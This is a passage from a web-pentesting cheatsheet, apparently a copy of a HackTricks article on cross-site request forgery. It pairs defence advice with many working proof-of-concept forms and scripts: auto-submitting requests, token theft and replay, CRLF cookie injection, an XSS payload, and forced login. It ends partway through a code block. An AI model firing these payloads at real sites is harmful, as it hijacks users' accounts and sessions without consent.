daemon-sec-cheatsheet

The cheatsheet vault for operators: AD, enumeration, exploitation, priv-esc, web, DFIR
git clone https://git.daemon-sec.xyz/daemon-sec-cheatsheet.git
Log | Files | Refs | README | LICENSE

csrf-cross-site-request-forgery.md (41539B)


      1 ---
      2 title: "CSRF (Cross Site Request Forgery)"
      3 section: "Web Pentesting"
      4 sectionSlug: "pentesting-web"
      5 sourcePath: "src/pentesting-web/csrf-cross-site-request-forgery.md"
      6 sourceUrl: "https://github.com/HackTricks-wiki/hacktricks/blob/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/csrf-cross-site-request-forgery.md"
      7 sha: "188de82beb54e70956b2952367a0af91d26758b8"
      8 isIndex: false
      9 modified: true
     10 license: "CC-BY-NC-4.0"
     11 ---
     12 
     13 # CSRF (Cross Site Request Forgery)
     14 
     15 ## Cross-Site Request Forgery (CSRF) Explained
     16 
     17 **Cross-Site Request Forgery (CSRF)** lets an attacker trigger actions through a victim's authenticated browser session. The victim visits attacker-controlled content, which causes requests through JavaScript, forms, images, or other browser primitives while the browser supplies ambient credentials.<sup>[[1]](#references)</sup><sup>[[7]](#references)</sup><sup>[[8]](#references)</sup>
     18 
     19 ### Prerequisites for a CSRF Attack
     20 
     21 To exploit a CSRF vulnerability, several conditions must be met:<sup>[[1]](#references)</sup>
     22 
     23 1. **Identify a Valuable Action**: The attacker needs to find an action worth exploiting, such as changing the user's password, email, or elevating privileges.
     24 2. **Ambient Credentials**: The request must carry credentials automatically, usually cookies or HTTP Basic/Digest authentication. In modern SPAs, also look for same-origin JavaScript gadgets that automatically attach bearer tokens or custom headers for you (client-side CSRF / CSPT2CSRF).
     25 3. **Absence of Unpredictable Parameters**: The request should not contain unpredictable parameters, as they can prevent the attack.
     26 
     27 ### Quick Check
     28 
     29 When the action's response is not visible to the attacker, test for **blind CSRF** by observing side effects through a separate authenticated session, audit trail, or callback.<sup>[[12]](#references)</sup>
     30 
     31 You could **capture the request in Burp** and check CSRF protections, and to test from the browser you can click on **Copy as fetch** and check the request:
     32 
     33 <figure><img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/images/image%20%2811%29%20%281%29%20%281%29.png" alt=""><figcaption></figcaption></figure>
     34 
     35 ### Defending Against CSRF
     36 
     37 Several countermeasures can be implemented to protect against CSRF attacks:<sup>[[1]](#references)</sup>
     38 
     39 - [**SameSite cookies**](hacking-with-cookies/index.html#samesite): This attribute prevents the browser from sending cookies along with cross-site requests. [More about SameSite cookies](hacking-with-cookies/index.html#samesite).
     40 - [**Cross-origin resource sharing**](/hacktricks/pentesting-web/cors-bypass): The CORS policy of the victim site can influence the feasibility of the attack, especially if the attack requires reading the response from the victim site. [Learn about CORS bypass](/hacktricks/pentesting-web/cors-bypass).
     41 - **User Verification**: Prompting for the user's password or solving a captcha can confirm the user's intent.
     42 - **Checking Referrer or Origin Headers**: Validating these headers can help ensure requests are coming from trusted sources. However, careful crafting of URLs can bypass poorly implemented checks, such as:
     43   - Using `http://mal.net?orig=http://example.com` (URL ends with the trusted URL)
     44   - Using `http://example.com.mal.net` (URL starts with the trusted URL)
     45 - **Modifying Parameter Names**: Altering the names of parameters in POST or GET requests can help in preventing automated attacks.
     46 - **CSRF Tokens**: Incorporating a unique CSRF token in each session and requiring this token in subsequent requests can significantly mitigate the risk of CSRF. The effectiveness of the token can be enhanced by enforcing CORS.
     47 
     48 Understanding and implementing these defenses is crucial for maintaining the security and integrity of web applications.
     49 
     50 #### Common pitfalls of defenses
     51 
     52 - SameSite pitfalls: `SameSite=Lax` still allows top-level cross-site navigations like links and form GETs, so many GET-based CSRFs remain possible. See cookie matrix in [Hacking with Cookies > SameSite](hacking-with-cookies/index.html#samesite).<sup>[[6]](#references)</sup>
     53 - Header checks: Validate `Origin` when present; if both `Origin` and `Referer` are absent, fail closed. Don’t rely on substring/regex matches of `Referer` that can be bypassed with lookalike domains or crafted URLs, and note the `meta name="referrer" content="never"` suppression trick.
     54 - Method overrides: Treat overridden methods (`_method` or override headers) as state-changing and enforce CSRF on the effective method, not just on POST.
     55 - Login flows: Apply CSRF protections to login as well; otherwise, login CSRF enables forced re-authentication into attacker-controlled accounts, which can be chained with stored XSS.
     56 
     57 ## Defences Bypass
     58 
     59 ### From POST to GET (method-conditioned CSRF validation bypass)
     60 
     61 Some applications only enforce CSRF validation on POST while skipping it for other verbs. A common anti-pattern in PHP looks like:<sup>[[5]](#references)</sup>
     62 
     63 ```php
     64 public function csrf_check($fatal = true) {
     65   if ($_SERVER['REQUEST_METHOD'] !== 'POST') return true; // GET, HEAD, etc. bypass CSRF
     66   // ... validate __csrf_token here ...
     67 }
     68 ```
     69 
     70 If the vulnerable endpoint also accepts parameters from $_REQUEST, you can reissue the same action as a GET request and omit the CSRF token entirely. This converts a POST-only action into a GET action that succeeds without a token.
     71 
     72 Example:
     73 
     74 - Original POST with token (intended):
     75   
     76   ```http
     77   POST /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList HTTP/1.1
     78   Content-Type: application/x-www-form-urlencoded
     79 
     80   __csrf_token=sid:...&widgetInfoList=[{"widgetId":"https://attacker<img src onerror=alert(1)>","widgetType":"URL"}]
     81   ```
     82 
     83 - Bypass by switching to GET (no token):
     84   
     85   ```http
     86   GET /index.php?module=Home&action=HomeAjax&file=HomeWidgetBlockList&widgetInfoList=[{"widgetId":"https://attacker<img+src+onerror=alert(1)>","widgetType":"URL"}] HTTP/1.1
     87   ```
     88 
     89 Notes:
     90 - This pattern frequently appears alongside reflected XSS where responses are incorrectly served as text/html instead of application/json.
     91 - Pairing this with XSS greatly lowers exploitation barriers because you can deliver a single GET link that both triggers the vulnerable code path and avoids CSRF checks entirely.
     92 
     93 ### Lack of token
     94 
     95 Applications might implement a mechanism to **validate tokens** when they are present. However, a vulnerability arises if the validation is skipped altogether when the token is absent. Attackers can exploit this by **removing the parameter** that carries the token, not just its value. This allows them to circumvent the validation process and conduct a Cross-Site Request Forgery (CSRF) attack effectively.<sup>[[2]](#references)</sup>
     96 
     97 Moreover, some implementations only check that the parameter exists but don’t validate its content, so an **empty token value is accepted**. In that case, simply submitting the request with `csrf=` is enough:<sup>[[6]](#references)</sup>
     98 
     99 ```http
    100 POST /admin/users/role HTTP/2
    101 Host: example.com
    102 Content-Type: application/x-www-form-urlencoded
    103 
    104 username=guest&role=admin&csrf=
    105 ```
    106 
    107 Minimal auto-submitting PoC (hiding navigation with history.pushState):
    108 
    109 ```html
    110 <html>
    111   <body>
    112     <form action="https://example.com/admin/users/role" method="POST">
    113       <input type="hidden" name="username" value="guest" />
    114       <input type="hidden" name="role" value="admin" />
    115       <input type="hidden" name="csrf" value="" />
    116       <input type="submit" value="Submit request" />
    117     </form>
    118     <script>history.pushState('', '', '/'); document.forms[0].submit();</script>
    119   </body>
    120 </html>
    121 ```
    122 
    123 ### CSRF token is not tied to the user session
    124 
    125 Applications **not tying CSRF tokens to user sessions** present a significant **security risk**. These systems verify tokens against a **global pool** rather than ensuring each token is bound to the initiating session.
    126 
    127 Here's how attackers exploit this:
    128 
    129 1. **Authenticate** using their own account.
    130 2. **Obtain a valid CSRF token** from the global pool.
    131 3. **Use this token** in a CSRF attack against a victim.
    132 
    133 This vulnerability allows attackers to make unauthorized requests on behalf of the victim, exploiting the application's **inadequate token validation mechanism**.<sup>[[2]](#references)</sup>
    134 
    135 ### Method bypass
    136 
    137 If the request is using a "**weird**" **method**, check if the **method override** functionality is working. For example, if it's using a **PUT/DELETE/PATCH** method you can try to use a **POST** and send an override, e.g. `https://example.com/my/dear/api/val/num?_method=PUT`.
    138 
    139 This can also work by sending the **`_method` parameter inside a POST body** or using override **headers**:
    140 
    141 - `X-HTTP-Method`
    142 - `X-HTTP-Method-Override`
    143 - `X-Method-Override`
    144 
    145 Common in frameworks like **Laravel**, **Symfony**, **Express**, and others. Developers sometimes skip CSRF on non-POST verbs assuming browsers can’t issue them; with overrides, you can still reach those handlers via POST.<sup>[[6]](#references)</sup>
    146 
    147 Example request and HTML PoC:
    148 
    149 ```http
    150 POST /users/delete HTTP/1.1
    151 Host: example.com
    152 Content-Type: application/x-www-form-urlencoded
    153 
    154 username=admin&_method=DELETE
    155 ```
    156 
    157 ```html
    158 <form method="POST" action="/users/delete">
    159   <input name="username" value="admin">
    160   <input type="hidden" name="_method" value="DELETE">
    161   <button type="submit">Delete User</button>
    162 </form>
    163 ```
    164 
    165 ### Custom header token bypass
    166 
    167 If the request is adding a **custom header** with a **token** to the request as **CSRF protection method**, then:<sup>[[2]](#references)</sup>
    168 
    169 - Test the request without the **custom token and the header.**
    170 - Test the request with exact **same length but different token**.
    171 
    172 ### Client-side CSRF / CSPT2CSRF (modern SPA-driven CSRF)
    173 
    174 Modern applications often build authenticated requests in frontend JavaScript using **user-controlled inputs** such as URL parameters, path segments, fragments, `postMessage` data, `localStorage`, or uploaded JSON/config files. If attacker-controlled data reaches a `fetch()`/XHR path sink, the browser ends up issuing a **same-origin** request from the victim origin, which means:
    175 
    176 - `SameSite` cookies are usually sent because the final request is same-site.
    177 - Frontend code may automatically append custom CSRF headers or bearer tokens for you.
    178 - `Origin` / `Referer` checks can look completely legitimate because the request is emitted by the trusted frontend.
    179 
    180 This turns path/URL manipulation into a CSRF primitive even when classic cross-site form PoCs fail. A common pattern is chaining a **user-controlled GET sink** into a second **authenticated POST/PUT/DELETE sink**.<sup>[[10]](#references)</sup>
    181 
    182 Quick hunting checklist:
    183 
    184 - Instrument `fetch` / XHR and search for `../`, `%2e%2e/`, encoded slashes, or attacker-controlled full paths.
    185 - Check whether a controlled GET sink can feed data into a second state-changing request.
    186 - Review SPAs that parse imported dashboards, themes, or config files and later concatenate those fields into API paths.
    187 
    188 [Client Side Path Traversal](/hacktricks/pentesting-web/client-side-path-traversal)
    189 
    190 ### Upload gadget to CSPT2CSRF
    191 
    192 A recent variant is to upload a file that is **accepted by server-side validation** but is still **valid JSON for the frontend**. If the frontend later `JSON.parse()`s the uploaded file and concatenates one field into an API path, simply viewing or importing that file can trigger an authenticated same-origin CSRF.
    193 
    194 Minimal gadget ideas:
    195 
    196 ```json
    197 {"aaa":"WEBP","_id":"../../../../admin/users/promote"}
    198 ```
    199 
    200 ```json
    201 { "id": "../CSPT_PAYLOAD", "%PDF": "1.4" }
    202 ```
    203 
    204 The first shape abuses validators that only look for `WEBP` magic bytes at a fixed offset. The second abuses PDF checks that only require `%PDF` near the beginning of the file.<sup>[[11]](#references)</sup>
    205 
    206 ### CSRF token is verified by a cookie
    207 
    208 Applications may implement CSRF protection by duplicating the token in both a cookie and a request parameter or by setting a CSRF cookie and verifying if the token sent in the backend corresponds to the cookie. The application validates requests by checking if the token in the request parameter aligns with the value in the cookie.
    209 
    210 However, this method is vulnerable to CSRF attacks if the website has flaws allowing an attacker to set a CSRF cookie in the victim's browser, such as a CRLF vulnerability. The attacker can exploit this by loading a deceptive image that sets the cookie, followed by initiating the CSRF attack.<sup>[[2]](#references)</sup>
    211 
    212 Below is an example of how an attack could be structured:
    213 
    214 ```html
    215 <html>
    216   <!-- CSRF Proof of Concept - generated by Burp Suite Professional -->
    217   <body>
    218     <script>
    219       history.pushState("", "", "/")
    220     </script>
    221     <form action="https://example.com/my-account/change-email" method="POST">
    222       <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
    223       <input
    224         type="hidden"
    225         name="csrf"
    226         value="tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E" />
    227       <input type="submit" value="Submit request" />
    228     </form>
    229     <img
    230       src="https://example.com/?search=term%0d%0aSet-Cookie:%20csrf=tZqZzQ1tiPj8KFnO4FOAawq7UsYzDk8E"
    231       onerror="document.forms[0].submit();" />
    232   </body>
    233 </html>
    234 ```
    235 
    236 > [!TIP]
    237 > Note that if the **csrf token is related with the session cookie this attack won't work** because you will need to set the victim your session, and therefore you will be attacking yourself.
    238 
    239 ### Content-Type change
    240 
    241 According to [**this**](https://developer.mozilla.org/en-US/docs/Web/HTTP/CORS#simple_requests), in order to **avoid preflight** requests using **POST** method these are the allowed Content-Type values:<sup>[[16]](#references)</sup>
    242 
    243 - **`application/x-www-form-urlencoded`**
    244 - **`multipart/form-data`**
    245 - **`text/plain`**
    246 
    247 However, note that the **server logic may vary** depending on the **Content-Type** used so you should try the values mentioned and others like **`application/json`**_**,**_**`text/xml`**, **`application/xml`**_._
    248 
    249 Example (from [here](https://brycec.me/posts/corctf_2021_challenges)) of sending JSON data as text/plain:<sup>[[14]](#references)</sup>
    250 
    251 ```html
    252 <html>
    253   <body>
    254     <form
    255       id="form"
    256       method="post"
    257       action="https://phpme.be.ax/"
    258       enctype="text/plain">
    259       <input
    260         name='{"garbageeeee":"'
    261         value='", "yep": "yep yep yep", "url": "https://webhook/"}' />
    262     </form>
    263     <script>
    264       form.submit()
    265     </script>
    266   </body>
    267 </html>
    268 ```
    269 
    270 ### Bypassing Preflight Requests for JSON Data
    271 
    272 When attempting to send JSON data via a POST request, using the `Content-Type: application/json` in an HTML form is not directly possible. Similarly, utilizing `XMLHttpRequest` to send this content type initiates a preflight request. Nonetheless, there are strategies to potentially bypass this limitation and check if the server processes the JSON data irrespective of the Content-Type:
    273 
    274 1. **Use Alternative Content Types**: Employ `Content-Type: text/plain` or `Content-Type: application/x-www-form-urlencoded` by setting `enctype="text/plain"` in the form. This approach tests if the backend utilizes the data regardless of the Content-Type.
    275 2. **Modify Content Type**: To avoid a preflight request while ensuring the server recognizes the content as JSON, you can send the data with `Content-Type: text/plain; application/json`. This doesn't trigger a preflight request but might be processed correctly by the server if it's configured to accept `application/json`.
    276 3. **SWF Flash File Utilization**: A less common but feasible method involves using an SWF flash file to bypass such restrictions. For an in-depth understanding of this technique, refer to [this post](https://anonymousyogi.medium.com/json-csrf-csrf-that-none-talks-about-c2bf9a480937).<sup>[[15]](#references)</sup>
    277 
    278 ### Referrer / Origin check bypass
    279 
    280 **Avoid Referrer header**
    281 
    282 Applications may validate the 'Referer' header only when it's present. To prevent a browser from sending this header, the following HTML meta tag can be used:
    283 
    284 ```xml
    285 <meta name="referrer" content="never">
    286 ```
    287 
    288 This ensures the `Referer` header is omitted, potentially bypassing validation checks in some applications.<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
    289 
    290 **Regexp bypasses**
    291 
    292 
    293 [Url Format Bypass](/hacktricks/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass)
    294 
    295 To place the trusted domain string inside a query parameter that will appear in the `Referer`, use a URL such as the following:<sup>[[3]](#references)</sup><sup>[[4]](#references)</sup>
    296 
    297 ```html
    298 <html>
    299   <!-- Referrer policy needed to send the query parameter in the referrer -->
    300   <head>
    301     <meta name="referrer" content="unsafe-url" />
    302   </head>
    303   <body>
    304     <script>
    305       history.pushState("", "", "/")
    306     </script>
    307     <form
    308       action="https://ac651f671e92bddac04a2b2e008f0069.web-security-academy.net/my-account/change-email"
    309       method="POST">
    310       <input type="hidden" name="email" value="asd&#64;asd&#46;asd" />
    311       <input type="submit" value="Submit request" />
    312     </form>
    313     <script>
    314       // You need to set this or the domain won't appear in the query of the referer header
    315       history.pushState(
    316         "",
    317         "",
    318         "?ac651f671e92bddac04a2b2e008f0069.web-security-academy.net"
    319       )
    320       document.forms[0].submit()
    321     </script>
    322   </body>
    323 </html>
    324 ```
    325 
    326 ### **HEAD method bypass**
    327 
    328 The first part of [**this CTF writeup**](https://github.com/google/google-ctf/tree/main/2023/quals/web-vegsoda/solution) explains that [Oak's source code](https://github.com/oakserver/oak/blob/main/router.ts#L281) routes **HEAD requests through GET handlers** while omitting the response body—a common behavior that is not unique to Oak. Instead of a separate handler for HEAD requests, the application invokes the GET handler and suppresses the body.<sup>[[9]](#references)</sup>
    329 
    330 Therefore, if a GET request is being limited, you could just **send a HEAD request that will be processed as a GET request**.<sup>[[9]](#references)</sup>
    331 
    332 ### Browser-to-localhost / internal service CSRF
    333 
    334 Don't limit CSRF hunting to the target origin. Desktop agents, update daemons, browser helpers, wallet software, IDE/dev servers, and admin panels often expose HTTP APIs on `127.0.0.1`, `localhost`, `0.0.0.0`, or RFC1918 addresses and trust that **only the local user** can reach them.
    335 
    336 Classic CSRF normally abuses ambient credentials, but an **unauthenticated** loopback or internal API is still exploitable: the victim browser contributes its **network position** instead of a cookie. The Same-Origin Policy may prevent the attacker from reading the response, but it does not stop a CORS-safelisted request from reaching the service and triggering a side effect.<sup>[[16]](#references)[[17]](#references)[[18]](#references)</sup>
    337 
    338 During source review, correlate the following patterns across routes and server initialization rather than checking handlers in isolation:<sup>[[17]](#references)[[18]](#references)</sup>
    339 
    340 - State-changing command, script, sequence, device-control, or administrative routes with no authentication, authorization, CSRF token, or strict `Origin` validation.
    341 - `Origin` validation that reflects arbitrary origins, accepts `null`, or uses substring/regex matching instead of parsing the origin and comparing it against an exact allowlist.
    342 - Handlers accepting `application/x-www-form-urlencoded`, `multipart/form-data`, or `text/plain`; browsers can submit these CORS-safelisted content types without an `OPTIONS` preflight when the other simple-request constraints are met.
    343 - Request fields flowing directly into command buses, interpreters, script runners, or subprocess arguments. Distinguish an application command dispatcher from arbitrary shell execution and report only the operations its configured command set exposes.
    344 - Listener configuration that is read but never reaches the final server/socket constructor. Confirm the effective exposure at runtime (for example, with `ss -lntp`) because a hardcoded `0.0.0.0` bind defeats an intended loopback-only setting.
    345 - Inconsistent treatment of loopback names and addresses. Test the exact destinations the client may use, such as `localhost`, `127.0.0.1`, other `127.0.0.0/8` addresses, and `[::1]`; application checks and browser local-network protections may not classify every spelling identically.
    346 
    347 Use an auto-submitting form for a **blind**, preflight-free probe and choose a harmless action whose side effect can be confirmed in service or audit logs:<sup>[[16]](#references)[[17]](#references)</sup>
    348 
    349 ```html
    350 <iframe name="sink" hidden></iframe>
    351 <form id="f" action="http://127.0.0.1:PORT/SENSITIVE_ROUTE"
    352       method="POST" target="sink">
    353   <input type="hidden" name="PARAMETER" value="HARMLESS_ACTION">
    354 </form>
    355 <script>document.getElementById("f").submit()</script>
    356 ```
    357 
    358 The same primitive can be tested with `fetch()` while deliberately keeping the request CORS-safelisted. The response will be opaque, so confirm the side effect separately:
    359 
    360 ```javascript
    361 fetch("http://127.0.0.1:PORT/SENSITIVE_ROUTE", {
    362   method: "POST",
    363   mode: "no-cors",
    364   headers: { "Content-Type": "application/x-www-form-urlencoded" },
    365   body: new URLSearchParams({ PARAMETER: "HARMLESS_ACTION" })
    366 })
    367 ```
    368 
    369 Do not change that probe to `Content-Type: application/json`: JSON is not a CORS-safelisted request content type and normally causes a preflight, which can prevent the state-changing request from being sent.
    370 
    371 Do not assume that preflight-free means universally deliverable. Supporting browsers can gate public-to-local and public-to-loopback requests behind **Local Network Access** permissions (including form submissions and subframe navigation), and enterprise policy or an earlier permission decision can change the result. Test the exact victim browser and policy state.<sup>[[19]](#references)</sup>
    372 
    373 Validate the primitive with a real or headless browser: record requests to the target origin, assert that the `POST` arrives, count any `OPTIONS` requests, and verify the harmless server-side effect independently. A successful action does not require response access, and direct network isolation is insufficient when an operator's browser can route to the service.<sup>[[17]](#references)[[18]](#references)</sup>
    374 
    375 For another real-world case study, check [this page about browser-to-localhost abuse](/hacktricks/windows-hardening/windows-local-privilege-escalation/abusing-auto-updaters-and-ipc).
    376 
    377 ## **Exploit Examples**
    378 
    379 ### Stored CSRF via user-generated HTML
    380 
    381 When rich-text editors or HTML injection are allowed, you can persist a passive fetch that hits a vulnerable GET endpoint. Any user who views the content will automatically perform the request with their cookies.<sup>[[6]](#references)</sup>
    382 
    383 - If the app uses a global CSRF token that is not bound to the user session, the same token may work for all users, making stored CSRF reliable across victims.
    384 
    385 Minimal example that changes the viewer’s email when loaded:
    386 
    387 ```html
    388 <img src="https://example.com/account/settings?newEmail=attacker@example.com" alt="">
    389 ```
    390 
    391 ### Login CSRF chained with stored XSS
    392 
    393 Login CSRF alone may be low impact, but chaining it with an authenticated stored XSS becomes powerful: force the victim to authenticate into an attacker-controlled account; once in that context, a stored XSS in an authenticated page executes and can steal tokens, hijack the session, or escalate privileges.<sup>[[6]](#references)</sup>
    394 
    395 - Ensure the login endpoint is CSRF-able (no per-session token or origin check) and no user interaction gates block it.
    396 - After forced login, auto-navigate to a page containing the attacker’s stored XSS payload.
    397 
    398 Minimal login-CSRF PoC:
    399 
    400 ```html
    401 <html>
    402   <body>
    403     <form action="https://example.com/login" method="POST">
    404       <input type="hidden" name="username" value="attacker@example.com" />
    405       <input type="hidden" name="password" value="StrongPass123!" />
    406       <input type="submit" value="Login" />
    407     </form>
    408     <script>
    409       history.pushState('', '', '/');
    410       document.forms[0].submit();
    411       // Optionally redirect to a page with stored XSS in the attacker account
    412       // location = 'https://example.com/app/inbox';
    413     </script>
    414   </body>
    415 </html>
    416 ```
    417 
    418 
    419 ### **Exfiltrating CSRF Token**
    420 
    421 If a **CSRF token** is being used as **defence** you could try to **exfiltrate it** abusing a [**XSS**](xss-cross-site-scripting/index.html#xss-stealing-csrf-tokens) vulnerability or a [**Dangling Markup**](dangling-markup-html-scriptless-injection/index.html) vulnerability.
    422 
    423 ### **GET using HTML tags**
    424 
    425 ```xml
    426 <img src="http://google.es?param=VALUE" style="display:none" />
    427 <h1>404 - Page not found</h1>
    428 The URL you are requesting is no longer available
    429 ```
    430 
    431 Other HTML5 tags that can be used to automatically send a GET request are:
    432 
    433 ```html
    434 <iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."></iframe>
    435 <script src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..."></script>
    436 <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." alt="" />
    437 <embed src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." />
    438 <audio src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/...">
    439   <video src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/...">
    440     <source src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." type="..." />
    441     <video poster="...">
    442       <link rel="stylesheet" href="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." />
    443       <object data="...">
    444         <body background="...">
    445           <div style="background: url('...');"></div>
    446           <style>
    447             body {
    448               background: url("...");
    449             }
    450           </style>
    451           <bgsound src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/...">
    452             <track src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." kind="subtitles" />
    453             <input type="image" src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/..." alt="Submit Button"
    454           /></bgsound>
    455         </body>
    456       </object>
    457     </video>
    458   </video>
    459 </audio>
    460 ```
    461 
    462 ### Form GET request
    463 
    464 ```html
    465 <html>
    466   <!-- CSRF PoC - generated by Burp Suite Professional -->
    467   <body>
    468     <script>
    469       history.pushState("", "", "/")
    470     </script>
    471     <form method="GET" action="https://victim.net/email/change-email">
    472       <input type="hidden" name="email" value="some@email.com" />
    473       <input type="submit" value="Submit request" />
    474     </form>
    475     <script>
    476       document.forms[0].submit()
    477     </script>
    478   </body>
    479 </html>
    480 ```
    481 
    482 ### Form POST request
    483 
    484 ```html
    485 <html>
    486   <body>
    487     <script>
    488       history.pushState("", "", "/")
    489     </script>
    490     <form
    491       method="POST"
    492       action="https://victim.net/email/change-email"
    493       id="csrfform">
    494       <input
    495         type="hidden"
    496         name="email"
    497         value="some@email.com"
    498         autofocus
    499         onfocus="csrfform.submit();" />
    500       <!-- Way 1 to autosubmit -->
    501       <input type="submit" value="Submit request" />
    502       <img src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/x" onerror="csrfform.submit();" />
    503       <!-- Way 2 to autosubmit -->
    504     </form>
    505     <script>
    506       document.forms[0].submit() //Way 3 to autosubmit
    507     </script>
    508   </body>
    509 </html>
    510 ```
    511 
    512 ### Form POST request through iframe
    513 
    514 ```html
    515 <!-- 
    516 The request is sent through the iframe without reloading the page 
    517 -->
    518 <html>
    519   <body>
    520     <iframe style="display:none" name="csrfframe"></iframe>
    521     <form method="POST" action="/change-email" id="csrfform" target="csrfframe">
    522       <input
    523         type="hidden"
    524         name="email"
    525         value="some@email.com"
    526         autofocus
    527         onfocus="csrfform.submit();" />
    528       <input type="submit" value="Submit request" />
    529     </form>
    530     <script>
    531       document.forms[0].submit()
    532     </script>
    533   </body>
    534 </html>
    535 ```
    536 
    537 ### **Ajax POST request**
    538 
    539 ```html
    540 <script>
    541   var xh
    542   if (window.XMLHttpRequest) {
    543     // code for IE7+, Firefox, Chrome, Opera, Safari
    544     xh = new XMLHttpRequest()
    545   } else {
    546     // code for IE6, IE5
    547     xh = new ActiveXObject("Microsoft.XMLHTTP")
    548   }
    549   xh.withCredentials = true
    550   xh.open(
    551     "POST",
    552     "http://challenge01.root-me.org/web-client/ch22/?action=profile"
    553   )
    554   xh.setRequestHeader("Content-type", "application/x-www-form-urlencoded") //to send proper header info (optional, but good to have as it may sometimes not work without this)
    555   xh.send("username=abcd&status=on")
    556 </script>
    557 
    558 <script>
    559   //JQuery version
    560   $.ajax({
    561     type: "POST",
    562     url: "https://google.com",
    563     data: "param=value&param2=value2",
    564   })
    565 </script>
    566 ```
    567 
    568 ### multipart/form-data POST request
    569 
    570 ```javascript
    571 myFormData = new FormData()
    572 var blob = new Blob(["<?php phpinfo(); ?>"], { type: "text/text" })
    573 myFormData.append("newAttachment", blob, "pwned.php")
    574 fetch("http://example/some/path", {
    575   method: "post",
    576   body: myFormData,
    577   credentials: "include",
    578   headers: { "Content-Type": "application/x-www-form-urlencoded" },
    579   mode: "no-cors",
    580 })
    581 ```
    582 
    583 ### multipart/form-data POST request v2
    584 
    585 ```javascript
    586 // https://www.exploit-db.com/exploits/20009
    587 var fileSize = fileData.length,
    588   boundary = "OWNEDBYOFFSEC",
    589   xhr = new XMLHttpRequest()
    590 xhr.withCredentials = true
    591 xhr.open("POST", url, true)
    592 //  MIME POST request.
    593 xhr.setRequestHeader(
    594   "Content-Type",
    595   "multipart/form-data, boundary=" + boundary
    596 )
    597 xhr.setRequestHeader("Content-Length", fileSize)
    598 var body = "--" + boundary + "\r\n"
    599 body +=
    600   'Content-Disposition: form-data; name="' +
    601   nameVar +
    602   '"; filename="' +
    603   fileName +
    604   '"\r\n'
    605 body += "Content-Type: " + ctype + "\r\n\r\n"
    606 body += fileData + "\r\n"
    607 body += "--" + boundary + "--"
    608 
    609 //xhr.send(body);
    610 xhr.sendAsBinary(body)
    611 ```
    612 
    613 ### Form POST request from within an iframe
    614 
    615 ```html
    616 <--! expl.html -->
    617 
    618 <body onload="envia()">
    619   <form
    620     method="POST"
    621     id="formulario"
    622     action="http://aplicacion.example.com/cambia_pwd.php">
    623     <input type="text" id="pwd" name="pwd" value="otra nueva" />
    624   </form>
    625   <body>
    626     <script>
    627       function envia() {
    628         document.getElementById("formulario").submit()
    629       }
    630     </script>
    631 
    632     <!-- public.html -->
    633     <iframe src="https://raw.githubusercontent.com/HackTricks-wiki/hacktricks/188de82beb54e70956b2952367a0af91d26758b8/src/pentesting-web/2-1.html" style="position:absolute;top:-5000"> </iframe>
    634     <h1>Sitio bajo mantenimiento. Disculpe las molestias</h1>
    635   </body>
    636 </body>
    637 ```
    638 
    639 ### **Steal CSRF Token and send a POST request**
    640 
    641 ```javascript
    642 function submitFormWithTokenJS(token) {
    643   var xhr = new XMLHttpRequest()
    644   xhr.open("POST", POST_URL, true)
    645   xhr.withCredentials = true
    646 
    647   // Send the proper header information along with the request
    648   xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded")
    649 
    650   // This is for debugging and can be removed
    651   xhr.onreadystatechange = function () {
    652     if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
    653       //console.log(xhr.responseText);
    654     }
    655   }
    656 
    657   xhr.send("token=" + token + "&otherparama=heyyyy")
    658 }
    659 
    660 function getTokenJS() {
    661   var xhr = new XMLHttpRequest()
    662   // This tells it to return the response as an HTML document
    663   xhr.responseType = "document"
    664   xhr.withCredentials = true
    665   // true on the end of here makes the call asynchronous
    666   xhr.open("GET", GET_URL, true)
    667   xhr.onload = function (e) {
    668     if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
    669       // Get the document from the response
    670       page = xhr.response
    671       // Get the input element
    672       input = page.getElementById("token")
    673       // Show the token
    674       //console.log("The token is: " + input.value);
    675       // Use the token to submit the form
    676       submitFormWithTokenJS(input.value)
    677     }
    678   }
    679   // Make the request
    680   xhr.send(null)
    681 }
    682 
    683 var GET_URL = "http://google.com?param=VALUE"
    684 var POST_URL = "http://google.com?param=VALUE"
    685 getTokenJS()
    686 ```
    687 
    688 ### **Steal CSRF Token and send a Post request using an iframe, a form and Ajax**
    689 
    690 ```html
    691 <form
    692   id="form1"
    693   action="http://google.com?param=VALUE"
    694   method="post"
    695   enctype="multipart/form-data">
    696   <input type="text" name="username" value="AA" />
    697   <input type="checkbox" name="status" checked="checked" />
    698   <input id="token" type="hidden" name="token" value="" />
    699 </form>
    700 
